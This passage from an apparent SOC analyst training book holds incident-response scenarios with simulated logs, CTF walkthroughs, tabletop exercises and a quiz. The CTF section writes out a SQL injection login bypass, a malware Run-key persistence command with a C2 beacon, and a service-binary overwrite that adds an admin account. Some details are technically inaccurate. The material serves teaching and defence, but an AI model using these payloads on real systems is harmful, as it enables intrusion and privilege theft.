Timestamp: 2025-08-10T20:30:22Z
Source Host: ITAdmin-PC (192.168.40.23)
Process Name: powershell.exe
Command: powershell -encodedcommand JABvAGIAagA=...
Action: Blocked
```

2. Network Traffic Log

```
Timestamp: 2025-08-10T20:40:15Z
Source IP: 192.168.40.23
Destination IP: 203.0.113.45
Port: 443
Bytes Sent: 12000
Bytes Received: 4800
```

3. Authentication Logs

```
Timestamp: 2025-08-10T21:10:05Z
User: ITAdmin
Source: 192.168.40.23
Action: Failed Login Attempt
Target: Domain Controller (192.168.10.2)
```

Investigation Phase

1. Analyse Endpoint Behavior:

    - Review EDR logs to determine the source and intent of the PowerShell activity.

    - Check for malicious scripts or payloads.

2. Examine Network Traffic:

  - Inspect outbound communication to the suspicious IP.
  - Identify whether the connection included data exfiltration.

3. Authenticate Lateral Movement:

  - Check for unauthorised access attempts to critical systems like the domain controller.
  - Look for signs of credential dumping or privilege escalation.

Containment Phase

- Immediate Actions:
  - Isolate Affected Host: Disconnect 192.168.40.23 from the network to prevent further damage.
  - Block Malicious IP: Add 203.0.113.45 to the firewall deny list.
  - Disable Compromised Account: Temporarily lock the ITAdmin account.

Eradication Phase

1. Malware Removal:

  - Use antivirus and EDR tools to scan and remove malicious scripts or files from 192.168.40.23.
  - Validate system integrity after removal.

2. Patch Vulnerabilities:

  - Identify exploited vulnerabilities and ensure systems are patched.
  - Strengthen endpoint configurations to reduce attack surface.

Recovery Phase

1. Restore Systems:

  - Re-image the affected workstation to ensure all threats are removed.
  - Monitor the workstation closely after redeployment.

2. Improve Network Monitoring:

  - Enhance IDS/IPS rules to detect similar APT behavior.
  - Deploy behavioral analytics to identify abnormal patterns early.

Reporting Phase

- Executive Summary
  - Incident Type: Advanced Persistent Threat (APT) - Reconnaissance
  - Root Cause: Exploited vulnerability on IT Admin workstation, followed by credential abuse.
  - Response Actions: Detected and isolated APT activity, blocked malicious IP, removed malware and secured systems.

Technical Summary

- Actor: Falcon Horizon APT Group
  - Tactics Used: PowerShell exploitation, malicious IP communication, credential abuse.
  - Indicators of Compromise (IOCs):
    - PowerShell command: powershell -encodedcommand JABvAGIAagA=...
    - Malicious IP: 203.0.113.45

Simulated Data Set

1. EDR Alert Example

```
{
  "timestamp": "2025-08-10T20:30:22Z",
  "source_host": "ITAdmin-PC",
  "source_ip": "192.168.40.23",
  "process_name": "powershell.exe",
  "command": "powershell -encodedcommand JABvAGIAagA=...",
  "action": "blocked"
}
```

2. Network Log Example

```
{
 "timestamp": "2025-08-10T20:40:15Z",
 "source_ip": "192.168.40.23",
 "destination_ip": "203.0.113.45",
 "port": 443,
 "bytes_sent": 12000,
 "bytes_received": 4800
}
```

3. Authentication Log Example

```
{
 "timestamp": "2025-08-10T21:10:05Z",
 "user": "ITAdmin",
 "source_ip": "192.168.40.23",
 "target": "Domain Controller",
 "action": "failed_login",
 "target_ip": "192.168.10.2"
}
```

I.8 Supply Chain Attack: Software Update Compromise

Scenario: A popular third-party network monitoring tool receives an update from its vendor. Shortly after deployment, SOC analysts detect unusual outbound communication from multiple systems. Further investigation reveals the update was compromised to include a backdoor.

Incident Details

- Date: September 5, 2025
- Time: 10:15 AM
- Affected Systems: 25 endpoints across the organisation
- Vendor: NetworkToolsPro (v4.8.1 update)
- Impact: Unauthorised remote access, potential data exfiltration.

Detection Phase

- Triggered Alerts:
    - Alert Name: "Beaconing Behavior Detected"

    - Severity: High
    - Description: Multiple systems making periodic connections to a suspicious external IP.
  - Alert Name: "New Executable in Uncommon Path"
    - Severity: Medium
    - Description: Unknown executable discovered in C:\ProgramData\ntpro.

Logs

1. Network Traffic Log

```
Timestamp: 2025-09-05T10:22:34Z
Source IP: 192.168.50.102
Destination IP: 45.67.89.123
Port: 443
Bytes Sent: 5400
Bytes Received: 3000
Frequency: Every 30 seconds
```

2. File Integrity Monitoring (FIM) Alert

```
Timestamp: 2025-09-05T10:18:12Z
File: C:\ProgramData\ntpro\update.exe
Hash: 4f2c1a8d64f0b2e9c3d8a01234abcd56
Status: Unknown
```

3. EDR Alert

```
Timestamp: 2025-09-05T10:30:45Z
Source Host: Finance-PC (192.168.50.103)
Process Name: update.exe
Behavior: Created outbound connection to 45.67.89.123
```

Investigation Phase

1. Analyse Network Behavior:

  - Check logs for beaconing patterns to identify affected systems.
  - Investigate the destination IP for known malicious activity.

2. Verify File Integrity:

  - Compare the hash of the executable against the vendor's official update hash.
  - Examine the executable for malicious code using reverse engineering tools.

3. Correlate Alerts:

  - Determine whether the systems with beaconing activity match those where the update was installed.
  - Look for signs of privilege escalation or lateral movement.

Containment Phase

- Immediate Actions:
  - Block Malicious IP: Add 45.67.89.123 to the firewall deny list.
  - Isolate Affected Systems: Disconnect compromised endpoints from the network.
  - Suspend Update Rollout: Stop further deployment of the v4.8.1 update.

Eradication Phase

1. Remove Malicious Files:

  - Delete update.exe from affected systems.
  - Use antivirus and EDR tools to ensure no residual threats remain.

2. Review Vendor Relationship:

  - Contact the vendor to confirm the source of the compromise.
  - Demand an immediate security review of their supply chain practices.

Recovery Phase

1. System Restoration:

  - Roll back affected systems to a known-good state.
  - Apply additional security patches to mitigate future risks.

2. Enhanced Security Measures:

    - Implement stricter controls for third-party software updates (e.g., sandbox testing).
    - Deploy application whitelisting to block unauthorised executables.

Reporting Phase

- Executive Summary
    - Incident Type: Supply Chain Attack
    - Root Cause: Compromised software update from a trusted vendor.
    - Response Actions: Detected malicious activity, isolated affected systems, removed threats and engaged with the vendor for resolution.
- Technical Summary
    - Compromised Software: NetworkToolsPro v4.8.1 update
    - Indicators of Compromise (IOCs):
        - File hash: 4f2c1a8d64f0b2e9c3d8a01234abcd56
        - Malicious IP: 45.67.89.123
    - Impact: Unauthorised remote access, possible data exfiltration.

Simulated Data Set

1. Network Log Example

```
{
 "timestamp": "2025-09-05T10:22:34Z",
 "source_ip": "192.168.50.102",
 "destination_ip": "45.67.89.123",
 "port": 443,
 "bytes_sent": 5400,
 "bytes_received": 3000,
 "frequency": "30s"
}
```

2. File Integrity Log Example

```
{
 "timestamp": "2025-09-05T10:18:12Z",
 "file_path": "C:\\ProgramData\\ntpro\\update.exe",
 "hash": "4f2c1a8d64f0b2e9c3d8a01234abcd56",
 "status": "unknown"
}
```

3. EDR Alert Example

```
{
 "timestamp": "2025-09-05T10:30:45Z",
 "source_host": "Finance-PC",
 "source_ip": "192.168.50.103",
 "process_name": "update.exe",
 "behavior": "outbound_connection",
 "destination_ip": "45.67.89.123"
}
```

I.9 Advanced Persistent Threat (APT): Slow and Stealthy Intrusion

Scenario:

- Attack Type: Advanced Persistent Threat (APT)
- Attack Vector: Spear-phishing email with a malicious macro-enabled document.
- Objective: Steal sensitive intellectual property (design blueprints) from a secured network segment.

Incident Details

- Date: October 10, 2025
- Time: Ongoing, detected at 3:45 PM
- Entry Point: HR department's endpoint.
- Impact: Exfiltration of proprietary design blueprints.

Detection Phase

- Triggered Alerts:
    - Alert Name: "Suspicious SMB Traffic Detected"
        - Severity: High

    - Description: Unauthorised file access attempts from HR-PC to engineering servers.
  - Alert Name: "Unusual User Account Activity"
    - Severity: High
    - Description: Service account svc-backup accessed outside regular hours.

Logs

1. Email Gateway Log

```
Timestamp: 2025-09-25T08:30:12Z
Source Email: attacker@example.com
Recipient Email: hruser@company.com
Subject: [Urgent] Updated Benefits Policy
Attachment: benefits_policy_update.docm
Attachment Hash: 56a8e7c99f2146dbaf0f5b9d9e2345ad
```

2. SMB Traffic Log

```
Timestamp: 2025-10-10T03:12:45Z
Source IP: 192.168.100.45 (HR-PC)
Destination IP: 192.168.200.20 (Engineering-Server)
Access Type: Read
Files Accessed: blueprint_v3.dwg, blueprint_v4.dwg
```

3. User Authentication Log

```
Timestamp: 2025-10-10T02:45:33Z
Account: svc-backup
Source Host: HR-PC
Access Time: Off-hours (2:00 AM - 4:00 AM)
Access Type: Successful
```

Investigation Phase

1. Trace Initial Access:
    - Analyse email logs to confirm the phishing attempt.
    - Extract the attachment and analyse its payload for malicious macros.

2. Map Lateral Movement:

   - Use EDR and network traffic logs to track attacker movements.
   - Investigate unauthorised use of the svc-backup account.

3. Identify Exfiltration Attempts:

   - Review data transfer logs for suspicious activity, especially to external IPs.
   - Check DLP solutions for unusual file transfers.

Containment Phase

- Immediate Actions:
- Quarantine Affected Systems: Isolate HR-PC and other identified compromised systems.
- Disable Compromised Accounts: Suspend svc-backup account.
- Block Malicious Communication: Add IPs and domains used by the attacker to the blocklist.

Eradication Phase

1. Remove Malware:

   - Use antivirus tools to clean HR-PC and other affected endpoints.
   - Analyse and remove persistence mechanisms (e.g., scheduled tasks, registry entries).

2. Reset Credentials:

   - Change passwords for compromised accounts, including svc-backup.
   - Enforce multi-factor authentication (MFA) for privileged accounts.

Recovery Phase

1. Restore Systems:

   - Reimage affected systems and restore them from clean backups.
   - Test systems for stability and security before reconnecting to the network.

2. Enhance Security Measures:

    - Improve email filtering to block macro-enabled attachments.
    - Deploy advanced threat detection tools to identify APT activities.

Reporting Phase

- Executive Summary
    - Incident Type: Advanced Persistent Threat (APT)
    - Root Cause: Spear-phishing email with malicious macros.
    - Response Actions: Detected and isolated compromised systems, removed threats and enhanced email and account security.
- Technical Summary
    - Initial Access: Malicious document with macro executed on HR-PC.
    - Lateral Movement: Unauthorised use of svc-backup to access engineering servers.
    - Exfiltration Target: Design blueprints stored on the engineering servers.

Simulated Data Set

1. Email Log Example

```
{
 "timestamp": "2025-09-25T08:30:12Z",
 "source_email": "attacker@example.com",
 "recipient_email": "hruser@company.com",
 "subject": "[Urgent] Updated Benefits Policy",
 "attachment": "benefits_policy_update.docm",
 "attachment_hash": "56a8e7c99f2146dbaf0f5b9d9e2345ad"
}
```

2. SMB Traffic Log Example

```
{
 "timestamp": "2025-10-10T03:12:45Z",
 "source_ip": "192.168.100.45",
 "destination_ip": "192.168.200.20",
 "access_type": "read",
 "files_accessed": ["blueprint_v3.dwg", "blueprint_v4.dwg"]
}
```

3. Authentication Log Example

```
{
 "timestamp": "2025-10-10T02:45:33Z",
 "account": "svc-backup",
 "source_host": "HR-PC",
 "access_time": "off-hours",
 "access_type": "successful"
}
```

I.10 Data Breach via Compromised Vendor Access

Scenario:

- Attack Type: Data Breach via Compromised Vendor Access
- Attack Vector: Exploitation of weak vendor credentials to access internal systems.
- Objective: Exfiltration of customer PII (Personally Identifiable Information).

Incident Details

- Date: November 5, 2025
- Time: 10:00 AM
- Entry Point: Vendor access portal with weak credentials.
- Impact: Breach of sensitive customer information, including personal identification details.

Detection Phase

- Triggered Alerts:
    - Alert Name: "Unusual Vendor Portal Login Attempt"
        - Severity: High
        - Description: Vendor user login detected at an unusual time, using a non-standard IP address.
    - Alert Name: "Large Data Transfer to External IP"

- Severity: High
- Description: A large volume of customer PII being transferred to an external IP address.

Logs

1. Vendor Access Portal Log

```
Timestamp: 2025-11-05T08:15:23Z
Source IP: 198.51.100.50 (Vendor-IP)
User ID: vendor_user123
Access Attempt: Successful
Credentials: Weak password (password123)
```

2. Internal Server Log

```
Timestamp: 2025-11-05T09:32:12Z
Source IP: 198.51.100.50 (Vendor-IP)
Destination IP: 10.10.20.30 (Customer-Data-Server)
Access Type: Read
Files Accessed: customer_data_2025.csv, sensitive_customers.json
```

3. Data Transfer Log

```
Timestamp: 2025-11-05T09:35:12Z
Source IP: 198.51.100.50 (Vendor-IP)
Destination IP: 203.0.113.10 (External-IP)
Data Volume: 5 GB
Files Transferred: customer_data_2025.csv, sensitive_customers.json
```

Investigation Phase

1. Trace Vendor Access:
    - Investigate the vendor portal login logs to confirm if the login was unauthorised or based on compromised credentials.
    - Correlate login time with the attacker's actions, focusing on unusual access times or IP addresses.
2. Map Data Exfiltration:
    - Review internal server logs to identify what sensitive data was accessed.

  - Identify whether the data was exfiltrated and transferred to an external server.

3. Analyse Data Transfer:
    - Investigate the external IP address involved in the data transfer.
    - Determine if the IP is associated with malicious activity or if it is linked to a legitimate third party.

Containment Phase

- Immediate Actions:
    - Disable Vendor Access: Immediately revoke vendor user access and change credentials.
    - Isolate Internal Servers: Quarantine affected servers to prevent further exfiltration.
    - Block Malicious IP: Add the external IP address involved in data transfer to the blocklist.

Eradication Phase

- Remove Compromised Accounts:
    - Disable any vendor accounts with weak or compromised credentials.
    - Require all vendors to use strong, unique passwords and implement multi-factor authentication (MFA).
- Patch Access Points:
    - Ensure that the vendor access portal is patched to prevent exploitation of known vulnerabilities.
    - Apply stricter access control policies to minimise the exposure of sensitive data.

Recovery Phase

- Restore Systems:
    - Restore the affected systems from clean backups to ensure no lingering malicious activity.
    - Test for stability and security post-restore.

- Vendor Access Review:
    - Conduct a comprehensive review of all vendor access points and apply stricter controls.
    - Implement regular monitoring of vendor activities.

Reporting Phase

- Executive Summary
    - Incident Type: Data Breach via Compromised Vendor Access
    - Root Cause: Weak vendor credentials exploited by attackers.
    - Response Actions: Disabled vendor access blocked malicious IP and enhanced authentication and access control measures.
- Technical Summary
    - Initial Access: Vendor user login with weak password.
    - Data Exfiltration: Customer PII transferred to external IP.
    - Impact: Sensitive customer data breach.

Simulated Data Set

1. Vendor Access Portal Log Example

```
{
  "timestamp": "2025-11-05T08:15:23Z",
  "source_ip": "198.51.100.50",
  "user_id": "vendor_user123",
  "access_attempt": "successful",
  "credentials": "weak password (password123)"
}
```

2. Internal Server Log Example

```
{
  "timestamp": "2025-11-05T09:32:12Z",
  "source_ip": "198.51.100.50",
  "destination_ip": "10.10.20.30",
  "access_type": "read",
  "files_accessed": ["customer_data_2025.csv", "sensitive_customers.json"]
}
```

3. Data Transfer Log Example

```
{
 "timestamp": "2025-11-05T09:35:12Z",
 "source_ip": "198.51.100.50",
 "destination_ip": "203.0.113.10",
 "data_volume": "5 GB",
 "files_transferred": ["customer_data_2025.csv", "sensitive_customers.json"]
}
```

APPENDIX J: CTF (CAPTURE THE FLAG) SIMULATIONS

Capture the Flag (CTF) simulations are hands-on exercises designed to test and improve an analyst's skills in cybersecurity. These scenarios replicate real-world attacks and challenges, enabling participants to identify vulnerabilities, exploit weaknesses and develop incident response strategies.

J.1 Web Application Vulnerability

Objective: Exploit a SQL injection vulnerability to access the backend database.

Setup:

- A web application: http://vulnerableapp.com/login.
- Target database schema:

```
CREATE TABLE users (
  id INT PRIMARY KEY,
  username VARCHAR(50),
  password VARCHAR(50),
  role VARCHAR(20)
),
```

- Sample data:

```
INSERT INTO users VALUES
  (1, 'admin', 'admin123', 'admin'),
  (2, 'user1', 'user1pass', 'user'),
  (3, 'user2', 'user2pass', 'user'),
```

Challenge: Retrieve the admin password using SQL injection.

Walkthrough:

- Input payload in the login form fields:
  - Username: ' OR 1=1 --

  - Password: anything

- SQL query modification:

```
SELECT * FROM users WHERE username = '' OR 1=1 -- AND password =
'anything',
```

- Backend response:
  - The condition 1=1 always evaluates to true, bypassing authentication and returning all user records.
- Extract the data:

```
+----------+----------+---------+
| username | password | role    |
+----------+----------+---------+
| admin    | admin123 | admin   |
| user1    | user1pass| user    |
| user2    | user2pass| user    |
+----------+----------+---------+
```

Learning Outcome:

- Understand SQL injection techniques and consequences.
- Implement secure coding practices such as prepared statements.

J.2 Malware Analysis

Objective: Analyse a malware sample to identify its behavior and C2 server address.

Setup:

- Malware sample: malware_sample.exe.
- Sandbox environment: Virtual machine with tools like Procmon, Wireshark and IDA Pro.

Challenge: Extract the Command and Control (C2) server URL and identify persistence mechanisms.

Simulated Data:

- Static Analysis using IDA Pro:
    - Extracted strings:

      ```
      C:\Windows\Temp\malware.dll
      http://c2.maliciousdomain.com
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v malware /t REG_SZ /d "C:\malware_sample.exe"
      ```

- Dynamic Analysis using Procmon:
    - Observed actions:
        - Creation of a new registry key:

          Path: HKCU\Software\Microsoft\Windows\CurrentVersion\Run

          Key: malware

          Value: C:\malware_sample.exe

- Network Analysis using Wireshark:
    - Malicious outbound connection:

      ```
      GET /beacon HTTP/1.1
      Host: c2.maliciousdomain.com
      User-Agent: MalwareSample v1.0
      ```

Walkthrough:

- Analyse the registry changes and delete the persistence entry:

  ```
  reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v malware /f
  ```

- Block the C2 domain at the firewall:

  Domain: c2.maliciousdomain.com

  IP: 192.168.1.200

Learning Outcome:

- Use tools for malware analysis.
- Mitigate malware persistence and C2 communications effectively.

J.3 Network Traffic Analysis

Objective: Detect and mitigate a data exfiltration attempt.

Setup:

- PCAP file: exfiltration_traffic.pcap.
- Network:
  - Internal IP range: 192.168.0.0/16
  - Sensitive server: 192.168.0.50

Challenge: Identify the exfiltration channel and block it.

Simulated Data in Wireshark:

- Suspicious traffic:

  Src IP: 192.168.0.25

  Dest IP: 192.168.1.100

  Protocol: HTTP

  Payload: POST /upload HTTP/1.1

  Host: 192.168.1.100

  Content-Length: 1048576

- File content in payload:

  Filename: sensitive_data.zip

  MD5: 098f6bcd4621d373cade4e832627b4f6

- Anomaly detection:
  - High volume of outbound traffic from 192.168.0.25 to an external server.

Walkthrough:

- Filter traffic:

```
ip.src == 192.168.0.25 && ip.dst == 192.168.1.100
```

- Inspect payload:
  - Extracted file: sensitive_data.zip containing confidential company documents.
- Mitigation:
  - Block external server IP 192.168.1.100 at the firewall.
  - Investigate the compromised endpoint for malware.

Learning Outcome:

- Analyse network anomalies using PCAP data.
- Block and remediate exfiltration attempts.

J.4 Privilege Escalation

Objective: Gain administrative privileges on a compromised system.

Setup:

- System: Windows 10 machine.
- Misconfigured service:

```
Name: VulnerableService
Binary Path: C:\Program Files\VulnerableApp\VulnerableService.exe
Permissions: Full Control (Everyone)
```

Challenge: Exploit the misconfiguration to escalate privileges.

Simulated Data:

- Current user:

```
Username: standard_user
Privileges: Limited
```

- Vulnerable service:

  ```
  sc qc VulnerableService

  [SC] QueryServiceConfig SUCCESS

  SERVICE_NAME: VulnerableService

  BINARY_PATH_NAME: C:\Program Files\VulnerableApp\VulnerableService.exe
  ```

- Replace service binary:

  ```
  echo "net user admin AdminPass123 /add" > "C:\Program Files\VulnerableApp\VulnerableService.exe"
  ```

- Restart the service:

  ```
  sc stop VulnerableService && sc start VulnerableService
  ```

Outcome:

- A new admin account is created:

  ```
  Username: admin

  Password: AdminPass123
  ```

Learning Outcome:

- Identify and exploit privilege escalation vectors.
- Secure permissions on critical services.

J.5 Threat Hunting

Objective: Identify an active intrusion within log data.

Setup:

- Splunk logs:
  - Windows Event Logs
  - Firewall logs
  - Application logs

Challenge: Correlate logs to detect lateral movement and compromised accounts.

Simulated Data:

- Login events:

```
src_ip=192.168.1.10 dest_ip=192.168.1.15 user=john event=login success=true
src_ip=192.168.1.15 dest_ip=192.168.1.20 user=admin event=login success=true
```

- File access events:

```
src_ip=192.168.1.15 file_access=/sensitive/files/data.csv
```

- Exfiltration event:

```
src_ip=192.168.1.20 dest_ip=192.168.1.100 protocol=ftp file=data.csv
```

Walkthrough:

- Query logs in Splunk:
    - Login attempts:

      ```
      index=logs "event=login" success=true
      ```

    - File access and exfiltration:

      ```
      index=logs "file_access" OR "ftp"
      ```

- Correlate IPs:
    - Trace the attacker from 192.168.1.10 to the exfiltration at 192.168.1.100.

Mitigation:

- Disable the compromised user accounts.
- Block external FTP communication.

Learning Outcome:

- Perform log correlation and identify lateral movement.
- Respond to intrusions effectively.

APPENDIX K: TABLETOP EXERCISES

Tabletop exercises are structured scenarios that simulate cybersecurity incidents in a controlled environment. These exercises help SOC teams practice response strategies, improve coordination and identify gaps in existing processes. Each exercise is designed to challenge L1, L2, L3 analysts and other teams like engineering, legal and compliance, fostering collaboration and efficiency in incident response.

K.1 Ransomware Attack

Scenario: A ransomware attack encrypts critical business files, displaying a message demanding 5 Bitcoin for decryption. The attack propagates rapidly across network shares.

Objectives:

- Contain the attack and recover encrypted files.
- Communicate with stakeholders, legal teams and law enforcement as needed.

Roles and Actions:

- L1 Analyst:
  - Review SIEM alerts for suspicious activity.
  - Identify initial infected systems and escalate for isolation.
- L2 Analyst:
  - Conduct detailed forensic analysis on infected systems.
  - Trace the source of the infection (e.g., phishing email or exploit).
- L3 Analyst:
  - Analyse the ransomware binary to extract Indicators of Compromise (IoCs).
  - Provide advanced remediation recommendations.
- Others:
  - Legal and Compliance: Coordinate communication with law enforcement and ensure compliance with breach disclosure laws.
  - Engineering: Review backup integrity and restore encrypted files.

- Key Questions:
    1. How will you isolate infected systems to prevent lateral movement?
    2. Do you have recent backups? If so, how will you restore them without reintroducing ransomware?
    3. How will you handle communication with stakeholders and attackers (if at all)?

Simulation Data:

- Logs showing unusual spikes in file encryption requests on SMB shares.
- A sample ransomware binary for reverse engineering.
- Email logs revealing a phishing email containing the malware payload.

K.2 Phishing Campaign

Scenario: Several employees report receiving suspicious emails claiming to be from HR, requesting them to download an attachment or update their login credentials.

Objectives:

- Investigate phishing emails and identify compromised accounts.
- Conduct a post-incident training session to improve phishing awareness.

Roles and Actions:

- L1 Analyst:
    - Review email gateway logs to identify the scope of the phishing campaign.
    - Check for accounts that show unusual access patterns.
- L2 Analyst:
    - Analyse phishing emails for malicious links or attachments.
    - Trace IPs and domains used in the campaign.
- L3 Analyst:
    - Conduct in-depth analysis of the malware payload (if applicable).

    - Develop YARA rules to detect similar phishing attempts.

- Others:
    - IT Team: Reset passwords for affected accounts.
    - HR/Management: Draft communication to employees regarding the incident.

Key Questions:

1. How will you identify and contain compromised accounts?

2. What protocols will you use to inform employees without causing panic?

Simulation Data:

- Email headers showing spoofed HR addresses.
- URLs leading to credential-harvesting websites.
- SIEM alerts for anomalous logins originating from foreign IPs.

K.3 Data Breach Incident

Scenario: Sensitive customer data, including PII, is exposed due to an unpatched vulnerability in the organisation's web application.

Objectives:

- Identify the vulnerability and secure the system.
- Notify affected parties and ensure compliance with regulations like GDPR.

Roles and Actions:

- L1 Analyst:
    - Review web server logs for evidence of exploitation.
    - Identify compromised endpoints or accounts.
- L2 Analyst:
    - Conduct a vulnerability assessment on the web application.
    - Correlate logs to determine the time and extent of data exfiltration.

- L3 Analyst:
    - Investigate the exploit used and recommend mitigation strategies.
    - Collaborate with development teams to patch the vulnerability.
- Others:
    - Legal and Compliance: Draft breach notification letters and ensure timely regulatory reporting.
    - PR Team: Manage public communication to minimise reputational damage.

Key Questions:

1. How will you secure the application to prevent further exploitation?

2. How will you notify affected customers and regulators?

Simulation Data:

- Web server logs showing SQL injection patterns.
- A report of exfiltrated database records.
- Code snippet from the vulnerable web application.

K.4 Insider Threat

Scenario: An employee is suspected of exfiltrating sensitive company data to their personal email account.

Objectives:

- Investigate and confirm the insider threat.
- Handle the situation legally and ethically.

Roles and Actions:

- L1 Analyst:
    - Monitor file access logs and flag unusual activity.
    - Identify the scope of data accessed by the employee.

- L2 Analyst:
    - Analyse email logs for evidence of unauthorised data sharing.
    - Confirm whether sensitive data was exfiltrated.
- L3 Analyst:
    - Develop policies or solutions to prevent similar insider threats.
    - Conduct a root cause analysis.
- Others:
    - HR: Address employee misconduct following company policy.
    - Legal: Ensure evidence is collected in compliance with privacy laws.

Key Questions:

1. How will you monitor and collect evidence without violating privacy?

2. What controls can you implement to prevent insider threats in the future?

Simulation Data:

- File access logs showing excessive downloads.
- Email server logs indicating unauthorised file attachments sent externally.
- Employee activity timeline for verification.

K.5 Distributed Denial of Service (DDoS) Attack

Scenario: Your organisation's website experiences a massive traffic spike, rendering it inaccessible.

Objectives:

- Mitigate the attack and restore services.
- Identify and block the source of the attack.

Roles and Actions:

- L1 Analyst:

  - Monitor network traffic for unusual patterns or excessive requests.
  - Escalate to L2 upon confirming the attack.
- L2 Analyst:
  - Analyse the attack vector (e.g., volumetric, protocol or application layer).
  - Work with IT teams to deploy temporary rate-limiting measures.
- L3 Analyst:
  - Identify and block malicious IP ranges or traffic sources.
  - Recommend long-term mitigation strategies, such as CDNs or DDoS protection services.
- Others:
  - Engineering Team: Implement failover systems or increase server capacity.
  - Management: Communicate service disruptions to stakeholders.

Key Questions:

1. How will you ensure availability for legitimate users during the attack?

2. What long-term defenses will you implement against DDoS attacks?

Simulation Data:

- Logs showing IPs with excessive request rates.
- Traffic analysis reports identifying attack patterns.
- Firewall configurations for implementing temporary rules.

APPENDIX L: CYBERSECURITY TRIVIA CHALLENGE

This challenge is an excellent way for readers to practice applying the concepts covered in the book, refine their problem-solving skills and identify areas where further study may be needed. Whether used as a solo review tool or a group activity, the trivia encourages interaction, collaboration and a deeper understanding of the material.

L.1 Questions

1. What is the primary role of a cybersecurity analyst?
2. Name three key responsibilities of a Level 1 SOC Analyst.
3. What does SIEM stand for?
4. Which framework includes the functions Identify, Protect, Detect, Respond and Recover?
5. What type of malware encrypts data and demands a ransom?
6. Name one tool commonly used for network packet analysis.
7. Which cybersecurity law governs the protection of health information in the United States?
8. What is the main focus of the MITRE ATT&CK Framework?
9. What does XDR stand for in cybersecurity?
10. What is the difference between IDS and IPS systems?
11. What are the three main elements of the CIA triad?
12. What does DLP stand for and what is its purpose?
13. What is the role of a SOC Manager?
14. Which type of analysis identifies Indicators of Compromise (IoCs)?
15. Name a popular endpoint detection and response (EDR) tool.
16. What does GDPR stand for and where is it applicable?
17. What is phishing?
18. Which protocol is commonly used for secure website communication?
19. What is network segmentation and why is it important?

20. What is the purpose of a vulnerability scanner?

21. What does the acronym IoT stand for?

22. What is a zero-day vulnerability?

23. Name one type of insider threat.

24. What does the term "threat actor" refer to?

25. What is the purpose of a playbook in incident response?

26. What does UEBA stand for?

27. What is the primary focus of threat intelligence?

28. Which cybersecurity certification focuses on ethical hacking?

29. What does CVE stand for?

30. Name one example of malware.

31. What is ransomware's primary mode of operation?

32. Name one global standard for information security management.

33. What is the role of behavioral analysis in cybersecurity?

34. What is a common delivery method for ransomware?

35. Which type of testing identifies vulnerabilities by simulating an attack?

36. What is the main focus of the ISO/IEC 27001 standard?

37. Name one use case for a SOAR platform.

38. What is the main difference between L2 and L3 SOC analysts?

39. What is the purpose of a Capture the Flag (CTF) challenge?

40. What does the term "APT" stand for?

41. What is lateral movement in a cyberattack?

42. Which tool can be used to detect DNS tunneling?

43. What is the primary goal of encryption?

44. Name a tool used for reverse engineering malware.

45. What does the principle of least privilege mean?

46. Which tool is used to analyse packet captures?

47. What is the primary purpose of a firewall?

48. What is the main difference between static and dynamic malware analysis?

49. What is a brute force attack?

50. Name one compliance requirement for organisations handling credit card data.

51. What is the purpose of multi-factor authentication (MFA)?

52. What does DNS stand for?

53. What is a phishing campaign?

54. Which type of attack aims to overload a system with traffic?

55. Name one method to prevent insider threats.

56. What is the function of a CASB?

57. What is a honeypot in cybersecurity?

58. Which type of security focuses on protecting cloud environments?

59. What is the purpose of a penetration test?

60. What is the role of an incident responder in a SOC?

61. What does TTP stand for in threat intelligence?

62. What does the term "cyber kill chain" refer to?

63. Which cybersecurity framework focuses on 18 best practices?

64. What is the purpose of a post-incident review?

65. What is the difference between encryption at rest and in transit?

66. What is the primary goal of risk assessment in cybersecurity?

67. Name a tool used for analysing suspicious files.

68. What does the acronym API stand for?

69. What is the purpose of a SOC runbook?

70. What is the key focus of the NIST 800-53 framework?

71. What is malware analysis?

72. What is the role of an adversary in cybersecurity simulations?

73. What does the term "IoC" stand for?

74. What is the primary use of a sandbox in cybersecurity?

75. Name a well-known example of ransomware.

76. What does the term "insider threat" mean?

77. What is cryptography?

78. What is the difference between symmetric and asymmetric encryption?

79. Which tool is commonly used for threat hunting?

80. What is social engineering in cybersecurity?

81. What does the term "pivoting" mean in penetration testing?

82. What is the purpose of threat emulation?

83. Name a protocol used for secure email communication.

84. What is the purpose of a cybersecurity tabletop exercise?

85. What does SOC stand for?

86. What is the main goal of a compliance analyst?

87. What is the importance of network logs in cybersecurity?

88. What is the purpose of a CISO in an organisation?

89. What does the acronym DDoS stand for?

90. What is a rogue access point?

91. What is a threat model?

92. Which framework includes compliance for payment card data?

93. What is the purpose of forensic analysis in cybersecurity?

94. What does EDR focus on?

95. What is an attack vector?

96. What does patch management involve?

97. What is the main function of antivirus software?

98. What does malware stand for?

99. What is the difference between a worm and a virus?

100. What is the role of cybersecurity governance?

L.2 Answers

1. The primary role of a cybersecurity analyst is to safeguard digital assets against cyber threats.
2. Monitoring alerts, triaging incidents and escalating threats.
3. Security Information and Event Management.
4. NIST Cybersecurity Framework.
5. Ransomware.
6. Wireshark.
7. HIPAA (Health Insurance Portability and Accountability Act).
8. Mapping tactics, techniques and procedures (TTPs) used by threat actors.
9. Extended Detection and Response.
10. IDS alerts suspicious activity, IPS blocks threats.
11. Confidentiality, Integrity and Availability.
12. Data Loss Prevention, prevents unauthorised data access or transfer.
13. Oversees SOC operations and ensures alignment with goals.
14. Malware or forensic analysis.
15. CrowdStrike Falcon.
16. General Data Protection Regulation, applicable in the EU.
17. A social engineering attack to steal sensitive information.
18. HTTPS (Hypertext Transfer Protocol Secure).
19. Dividing networks into segments to prevent lateral movement.
20. To identify and assess system vulnerabilities.
21. Internet of Things.

22. A vulnerability exploited before a fix is available.
23. Malicious insider or negligent employee.
24. An individual or entity that conducts a cyberattack.
25. A documented procedure for handling specific incidents.
26. User and Entity Behavior Analytics.
27. To gather, analyse and disseminate information about potential or current threats.
28. Certified Ethical Hacker (CEH).
29. Common Vulnerabilities and Exposures.
30. Examples include ransomware, trojans or spyware.
31. Encrypts data and demands payment to restore access.
32. ISO/IEC 27001.
33. To identify unusual or risky behavior in systems and users.
34. Email attachments, malicious links or infected software.
35. Penetration testing.
36. Focuses on information security management systems (ISMS).
37. Automating incident response and streamlining workflows.
38. L2 analysts conduct deeper analysis, while L3 analysts handle advanced threats and forensics.
39. To develop practical cybersecurity skills through challenges.
40. Advanced Persistent Threat.
41. Moving laterally within a network to expand access or compromise.
42. Tools like Wireshark or specialised DNS analysis platforms.
43. To secure information by making it unreadable without decryption keys.
